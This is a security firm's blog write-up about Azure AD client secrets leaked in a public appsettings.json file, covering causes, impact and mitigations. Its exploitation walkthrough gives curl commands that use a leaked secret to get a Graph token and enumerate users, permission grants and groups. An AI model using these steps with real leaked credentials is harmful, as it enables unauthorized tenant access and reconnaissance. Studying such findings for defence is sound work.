Back

Azure AD Client Secret Leak: The Keys to Cloud

Vulnerability Assessment and Penetration Testing

Cloud Security, Azure AD, OAuth 2.0, Access Tokens, Configuration Leak, Red Team

Azure AD Client Secret Leak: The Keys to Cloud

Description

During a cybersecurity assessment by Resecurity's HUNTER Team, Azure Active Directory (Azure AD) application credentials - namely the ClientId and ClientSecret - were discovered exposed in a publicly accessible Application Settings (appsettings.json) file.

This type of leak is high-severity. With these credentials, an attacker can authenticate directly against Microsoft’s OAuth 2.0 endpoints, effectively masquerading as the trusted application. Depending on the app’s assigned permissions, this could enable:

  1. Retrieval of sensitive data from SharePoint, OneDrive, or Exchange Online
  2. Enumeration of users, groups, and directory roles in Azure AD
  3. Abuse of Graph API for privilege escalation or persistence
  4. Deployment of malicious applications under the organization’s tenant

The critical risk lies in the fact that this file was publicly accessible over the internet. This means anyone — from opportunistic bots to advanced threat actors — could harvest the credentials and immediately leverage them for cloud account compromise, data theft, or further intrusion.

Put simply, exposing appsettings.json with Azure AD secrets is not just a misconfiguration; it’s an attack vector that directly hands adversaries the keys to the cloud.

Why Does This Attack Happen?

This type of attack usually occurs because of misconfigurations and poor secrets management in cloud-native applications. Developers often place sensitive values (like ClientId, ClientSecret, storage keys, or database passwords) directly into configuration files such as appsettings.json. While this works fine in local development, problems arise when:

  1. Misconfigured Servers – The web server is set up to serve static files (including .json configs) without restriction, making them publicly accessible via a simple URL.
  2. Improper Deployment Practices – Developers accidentally push internal configuration files to production environments without restricting access, exposing secrets to anyone who knows the path.
  3. Lack of Secret Management Tools – Instead of using secure vaults (Azure Key Vault, AWS Secrets Manager, HashiCorp Vault), teams hardcode secrets in plaintext configuration files, making them easy to leak.
  4. No Security Testing or Monitoring – Without regular scans, penetration tests, or code reviews, these exposed files remain unnoticed until attackers discover them.
  5. Overreliance on Obscurity – Teams assume “no one will find this file,” but attackers continuously crawl websites, use tools like dirsearch, and scan GitHub repos for exactly this type of leak.

What is appsettings.json?

In ASP.NET Core applications, appsettings.json is the central configuration file that stores important key-value pairs required for the application to function. It replaced the older web.config format, offering a cleaner, human-readable, and structured JSON-based approach.

This file is usually loaded automatically at runtime, and developers can also layer configurations (e.g., appsettings.Development.json, appsettings.Production.json) to manage different environments.

Common types of data stored in appsettings.json include:

  1. Database connection strings (SQL Server, MySQL, PostgreSQL, MongoDB, etc.)
  2. API keys and tokens for third-party integrations (payment gateways, email providers, mapping services, etc.)
  3. Cloud service credentials for platforms like Azure, AWS, or GCP
  4. Azure Active Directory (Azure AD) authentication details such as:

    • ClientId
    • TenantId
    • RedirectUri
    • ClientSecret
  5. Logging and monitoring configurations (e.g., log levels, logging endpoints, telemetry)
  6. Feature flags and environment settings that enable or disable application functionality

The appsettings.json file is essentially the blueprint of how an application runs. It not only tells the app where to connect (databases, APIs, cloud services) but may also include the credentials needed to authenticate.

Breakdown of AzureAd Configuration Fields

"AzureAd": { "Instance": "https://login.microsoftonline.com/", "TenantId": "<TENANT_ID>", "ClientId": "<CLIENT_ID>", "RedirectUri": "https://<app-domain>/", "ClientSecret": "<CLIENT_SECRET>" }

Field Descriptions

  1. Instance
  2. This is the base URL of the Azure Active Directory (AAD) identity provider.
    Usually https://login.microsoftonline.com/.
    All OAuth2 and OpenID Connect authentication requests are routed through this endpoint.

  3. TenantId
  4. Unique identifier of the Azure AD tenant (could be a GUID like 11111111-2222-3333-4444-555555555555 or a verified domain such as contoso.com). It specifies which Azure AD directory the application should authenticate against.

  5. ClientId
    Also called the Application (client) ID.
    Public identifier for the registered application in Azure AD.
    Used in OAuth2 flows to identify which app is requesting access.

  6. RedirectUri
    The callback URL where Azure AD will send authentication responses (tokens or authorization codes).
    It must exactly match one of the redirect URIs configured in the Azure AD app registration.
    Example: https://app.example.com/signin-oidc.

  7. ClientSecret
    Private secret associated with the application, used like a password in confidential client flows (e.g., client credentials flow). If exposed, it allows attackers to authenticate as the app and request tokens.

Exploitation Walkthrough

With the ClientId and ClientSecret exposed in the appsettings.json file, an attacker essentially possesses the "username and password" of the Azure AD application. These credentials can be abused to request an access token from Microsoft’s identity platform. Once a valid token is obtained, it acts like a digital passport, granting programmatic access to Azure and Microsoft Graph APIs — the same way the application itself would legitimately authenticate.

Step 1 – Requesting an Access Token

The attacker uses the leaked ClientId and ClientSecret from the exposed appsettings.json file to authenticate against Azure Active Directory (Azure AD) using the OAuth2 Client Credentials flow.

Request

curl -X POST \

-d "grant_type=client_credentials" \

-d "client_id=<REDACTED_CLIENT_ID>" \

-d "client_secret=<REDACTED_CLIENT_SECRET>" \

-d "scope=https://graph.microsoft.com/.default" \

<a href="https://www.google.com/url?q=https://login.microsoftonline.com/%253cTENANT_ID%253e/oauth2/v2.0/token&sa=D&source=editors&ust=[sanitized_ID]&usg=[sanitized_token]" rel="nofollow">https://login.microsoftonline.com/<TENANT_ID>/oauth2/v2.0/token</a>

Response

{ "token_type": "Bearer", "expires_in": 3599, "ext_expires_in": 3599, "access_token": "<REDACTED_ACCESS_TOKEN>" }

Key Parameters:

  • grant_type=client_credentials → tells Azure AD that this is a server-to-server app login, no user involved.
  • client_id → public identifier for the Azure AD application.
  • client_secret → private password-like secret that proves the app’s identity.
  • scope=https://graph.microsoft.com/.default → requests a token for Microsoft Graph, which is the main API gateway into Microsoft 365 data (users, groups, email, files, etc.).
  • tenant_id → identifies the Azure AD tenant

Key Fields:

  • token_type=Bearer → the issued token is a Bearer token, which must be included in subsequent API requests.
  • expires_in=3599 → the token is valid for ~1 hour.
  • access_token → a JWT (JSON Web Token). This is a signed credential issued by Azure AD, granting access to Microsoft Graph on behalf of the application

Step 2 – Enumerating Users via Microsoft Graph

After obtaining an access token in Step 1, the attacker can send a GET request to the Microsoft Graph API to enumerate users within the tenant.

Request

Curl -X GET https://graph.microsoft.com/v1.0/users -H "Authorization: Bearer <ACCESS_TOKEN>"

Response

{ "@odata.context": "https://graph.microsoft.com/v1.0/$metadata#users", "@odata.nextLink": "https://graph.microsoft.com/v1.0/users?$skiptoken=...", "value": [ { "id": "11111111-2222-3333-4444-555555555555", "displayName": "Example User", "givenName": "Example", "surname": "User", "userPrincipalName": "example.user@tenant.com", "mail": "example.user@tenant.com", "jobTitle": null, "officeLocation": null, "mobilePhone": null }, { "id": "66666666-7777-8888-9999-000000000000", "displayName": "Test Account", "surname": "Account", "userPrincipalName": "test.account@tenant.com", "mail": "test.account@tenant.com" } ] }

Key Parameters:

  • Authorization: Bearer <ACCESS_TOKEN> → The previously issued JWT token from Step 1.
  • Endpoint: /v1.0/users → Lists all Azure AD users within the tenant.

This allows an attacker to:

  • Enumerate usernames and emails.
  • Build a list for password spraying or phishing.
  • Identify naming conventions and internal accounts.

Step 3 – Enumerating OAuth2 Permission Grants

Once an attacker has a valid access token, they can query the Microsoft Graph API to enumerate OAuth2 permission grants within the tenant. This reveals which applications have been authorized and what scopes (permissions) they hold.

Request

curl -X GET https://graph.microsoft.com/v1.0/oauth2PermissionGrants -H "Authorization: Bearer <ACCESS_TOKEN>"

Response

{ "clientId": "11111111-2222-3333-4444-555555555555", "consentType": "Principal", "principalId": "11111111-2222-3333-4444-555555555555", "resourceId": "11111111-2222-3333-4444-555555555555", "scope": "MyFiles.Read MyFiles.Write" }

Explanation of Key Fields

  • clientId → The ID of the Azure AD application.
  • consentType → Whether the permission was granted by a user (Principal) or at the tenant level (AllPrincipals).
  • principalId → The object ID of the user or service principal granting consent.
  • resourceId → The target resource (e.g., Microsoft Graph).
  • scope → The specific permissions granted (read/write access to data).

Step 4 – Enumerating Groups and Memberships

Attackers use group information to identify privilege clusters and business-critical teams.

Request

curl -X GET \

https://graph.microsoft.com/v1.0/groups \

-H "Authorization: Bearer <ACCESS_TOKEN>"

Response

{ "value": [ { "id": "11111111-2222-3333-4444-555555555555", "displayName": "Global Administrators", "description": "Users with full access to manage tenant" }, { "id": "11111111-2222-3333-4444-555555555555", "displayName": "Finance Team", "description": "Users with access to financial records" } ] }

The /groups endpoint exposes the organizational structure. High-value groups such as Global Administrators are key targets because compromising one member grants full tenant control. Attackers can then chain this with the /groups/{id}/members endpoint to reveal which users belong to sensitive groups.

What an Attacker Can Achieve

Leaking an appsettings.json file containing Azure AD credentials (ClientId, ClientSecret, TenantId, RedirectUri) is not just a minor misconfiguration — it can serve as a direct entry point into the cloud environment. The potential consequences include:

  • Unauthorized Azure AD Access – Attackers can generate valid OAuth 2.0 tokens and impersonate trusted applications.
  • Data Exfiltration via Microsoft Graph API – Once authenticated, adversaries can enumerate users, groups, permissions, mailboxes, files, and even sensitive business data stored in Microsoft 365.
  • Privilege Escalation & Reconnaissance – By mapping group memberships (e.g., Global Administrators, Security Readers, Finance Teams), attackers can identify high-value targets and pivot to more privileged accounts.
  • Lateral Movement into Cloud Resources – If the file also contains keys for storage accounts, Cosmos DB, or other Azure services, attackers can directly access or even tamper with production data.
  • Persistence & Backdoor Creation – With sufficient permissions, attackers can register rogue applications, grant themselves consent, or add hidden users/groups to maintain access even after detection.
  • Compliance & Regulatory Risk – Exposure of such secrets can lead to GDPR, HIPAA, or SOX violations, triggering hefty fines and reputational damage.
  • Supply Chain Exploitation – If this app is customer-facing, attackers could weaponize the access to impact downstream clients, partners, or integrated third-party services.

The Path to mitigation

Exposing appsettings.json with secrets is a dangerous misconfiguration, but it can be mitigated with the following best practices:

1. Restrict File Access

  • Ensure appsettings.json and other config files are never publicly accessible.
  • Configure your web server (IIS, Nginx, Apache, etc.) to block direct access to configuration files (.json, .config, .env).
  • location ~* \.(json|config|env)$ {deny all;}

2. Remove Secrets from Code and Config Files

  • Never hardcode ClientSecrets, API keys, or database credentials in plain text.

3. Rotate Exposed Credentials Immediately

  • If secrets are leaked, treat them as compromised.
  • Rotate the ClientSecret, regenerate access keys, and invalidate the exposed values.

4. Enforce Principle of Least Privilege

  • Don’t give your Azure AD application excessive permissions.
  • Use minimal scopes instead of granting Directory.Read.All or global permissions unless absolutely necessary.

5. Monitor and Alert on Credential Use

  • Enable Azure AD logging to detect suspicious API calls.
  • Set up alerts when service principals or applications authenticate from unusual IPs or geographies.

Conclusion

What appears to be a harmless JSON configuration file can in reality act as a master key to an organization’s cloud kingdom. By exposing appsettings.json to the internet, developers unintentionally hand over direct access tokens to attackers — tokens that can unlock Azure AD identities, Microsoft Graph data, storage accounts, and even highly privileged administrator functions.

The implications are profound:

  • A single leaked ClientSecret can bypass traditional login defenses, such as MFA, since service-to-service authentication relies purely on keys.
  • Exposed storage account keys can allow attackers to read, write, and delete sensitive data with no user interaction.
  • Leaked Azure AD application credentials can be abused to silently enumerate users, groups, mailboxes, and permissions, enabling lateral movement across the entire Microsoft 365 tenant.

This is not just a misconfiguration — it’s a cloud compromise waiting to happen. Organizations must realize that cloud security is only as strong as its weakest exposed file.

The lesson is clear:

  • Secrets don’t belong in code or configs stored on public servers.
  • Misplaced files = breached identities.
  • Every overlooked endpoint is a potential entry point for attackers.

In short, the smallest file can trigger the largest breach. The defenders who treat configuration security as seriously as application logic will be the ones who avoid tomorrow’s headline breach.

Our experts hold the following industry certifications and have an extensive track record of successful work with the leading Fortune 500 companies and government agencies:

  • CISSP (Certified Information Systems Security Professional)
  • CEH (Certified Ethical Hacker)
  • CISA (Certified Information Systems Auditor)
  • GIAC GCIH (Certified Incident Handler)
  • Offensive Security Certified Professional (OSCP)
  • GIAC Web Application Penetration Tester (GWAPT)
  • eLearnSecurity Certified Penetration Tester eXtreme (eCPTX)
  • eLearnSecurity Web Application Penetration Tester Extreme (eWPTXv2)
  • eLearnSecurity Certified Professional Penetration Tester (eCPPTv2)
  • Attify Certified IoT Security Pentester (ACIP)
  • eLearnSecurity Mobile Application Penetration Tester (eMAPT)
  • Certified Red Team Professional (CRTP)
  • CREST Registered Penetration Tester (CRT)
  • CREST Practitioner Security Analyst (CPSA)

Please don't hesitate to contact us anytime at contact@resecurity.com. Our specialists will be happy to assist you with penetration testing, red team exercises and cybersecurity assessments. For more information about VAPT (Vulnerability Assessment and Penetration Testing) services by Resecurity, you may review the following page.

Newsletter

Keep up to date with the latest cybersecurity news and developments.

By subscribing, I understand and agree that my personal data will be collected and processed according to the Privacy and Cookies Policy

Cloud Architecture
Cloud Architecture
445 S. Figueroa Street
Los Angeles, CA 90071
Google Maps
Contact us by filling out the form
Try Resecurity products today with a free trial
Resecurity
Close
Hi there! I'm here to answer your questions and assist you.
Before we begin, could you please provide your name and email?